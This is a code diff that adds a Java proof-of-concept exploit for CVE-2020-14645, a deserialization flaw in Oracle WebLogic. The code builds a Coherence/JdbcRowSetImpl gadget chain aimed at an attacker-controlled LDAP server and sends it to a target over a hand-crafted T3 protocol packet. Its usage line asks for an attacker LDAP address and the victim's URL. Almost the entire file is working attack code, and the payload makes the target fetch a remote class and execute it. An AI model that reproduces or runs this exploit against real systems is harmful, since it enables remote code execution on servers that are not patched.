|
| 1 | +package com.defvul; |
| 2 | + |
| 3 | +import com.supeream.serial.BytesOperation; |
| 4 | +import com.supeream.serial.Reflections; |
| 5 | +import com.supeream.serial.Serializables; |
| 6 | +import com.supeream.ssl.SocketFactory; |
| 7 | +import com.sun.rowset.JdbcRowSetImpl; |
| 8 | +import com.tangosol.util.comparator.ExtractorComparator; |
| 9 | +import com.tangosol.util.extractor.UniversalExtractor; |
| 10 | + |
| 11 | +import java.io.BufferedReader; |
| 12 | +import java.io.InputStreamReader; |
| 13 | +import java.net.Socket; |
| 14 | +import java.net.URL; |
| 15 | +import java.util.PriorityQueue; |
| 16 | + |
| 17 | +public class Main { |
| 18 | + |
| 19 | + public static void main(String[] args) throws Exception { |
| 20 | + if (args.length < 2) { |
| 21 | + System.out.println("Usage: java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL"); |
| 22 | + System.out.println("\nExample: java -jar CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001"); |
| 23 | + return; |
| 24 | + } |
| 25 | + |
| 26 | + // CVE_2020_14645 |
| 27 | + UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1); |
| 28 | + final ExtractorComparator comparator = new ExtractorComparator(extractor); |
| 29 | + |
| 30 | + JdbcRowSetImpl rowSet = new JdbcRowSetImpl(); |
| 31 | + rowSet.setDataSourceName("ldap://" + args[0]); |
| 32 | + final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); |
| 33 | + |
| 34 | + Object[] q = new Object[]{rowSet, rowSet}; |
| 35 | + Reflections.setFieldValue(queue, "queue", q); |
| 36 | + Reflections.setFieldValue(queue, "size", 2); |
| 37 | + byte[] payload = Serializables.serialize(queue); |
| 38 | + |
| 39 | + URL url = new URL(args[1]); |
| 40 | + send(url.getHost(), url.getPort(), payload, url.getProtocol().equals("https")); |
| 41 | + } |
| 42 | + |
| 43 | + public static void send(String host, int port, byte[] payload, boolean isSSL) throws Exception { |
| 44 | + Socket sock = SocketFactory.newSocket(host, port, isSSL); |
| 45 | + |
| 46 | + String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n"; |
| 47 | + if (isSSL) { |
| 48 | + header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n"; |
| 49 | + } |
| 50 | + |
| 51 | + // Handshake |
| 52 | + sock.getOutputStream().write(header.getBytes()); |
| 53 | + sock.getOutputStream().flush(); |
| 54 | + |
| 55 | + BufferedReader br = new BufferedReader(new InputStreamReader(sock.getInputStream())); |
| 56 | + String versionInfo = br.readLine(); |
| 57 | + |
| 58 | + versionInfo = versionInfo.replace("HELO:", ""); |
| 59 | + versionInfo = versionInfo.replace(".false", ""); |
| 60 | + System.out.println("Weblogic version: " + versionInfo); |
| 61 | + |
| 62 | + // Send Payload |
| 63 | + //cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1 |
| 64 | + |
| 65 | + //t3 protocol |
| 66 | + String cmd = "08"; |
| 67 | + String qos = "65"; |
| 68 | + String flags = "01"; |
| 69 | + String responseId = "ffffffff"; |
| 70 | + String invokableId = "ffffffff"; |
| 71 | + String abbrevOffset = "00000000"; |
| 72 | + String countLength = "01"; |
| 73 | + String capacityLength = "10";//必须大于上面设置的AS值 |
| 74 | + String readObjectType = "00";//00 object deserial 01 ascii |
| 75 | + |
| 76 | + StringBuilder datas = new StringBuilder(); |
| 77 | + datas.append(cmd); |
| 78 | + datas.append(qos); |
| 79 | + datas.append(flags); |
| 80 | + datas.append(responseId); |
| 81 | + datas.append(invokableId); |
| 82 | + datas.append(abbrevOffset); |
| 83 | + |
| 84 | + //because of 2 times deserial |
| 85 | + countLength = "04"; |
| 86 | + datas.append(countLength); |
| 87 | + |
| 88 | + //define execute operation |
| 89 | + String pahse1Str = BytesOperation.bytesToHexString(payload); |
| 90 | + datas.append(capacityLength); |
| 91 | + datas.append(readObjectType); |
| 92 | + datas.append(pahse1Str); |
| 93 | + |
| 94 | + byte[] headers = BytesOperation.hexStringToBytes(datas.toString()); |
| 95 | + int len = headers.length + 4; |
| 96 | + String hexLen = Integer.toHexString(len); |
| 97 | + StringBuilder dataLen = new StringBuilder(); |
| 98 | + |
| 99 | + if (hexLen.length() < 8) { |
| 100 | + for (int i = 0; i < (8 - hexLen.length()); i++) { |
| 101 | + dataLen.append("0"); |
| 102 | + } |
| 103 | + } |
| 104 | + |
| 105 | + dataLen.append(hexLen); |
| 106 | + sock.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString())); |
| 107 | + sock.getOutputStream().flush(); |
| 108 | + sock.close(); |
| 109 | + } |
| 110 | +} |
0 commit comments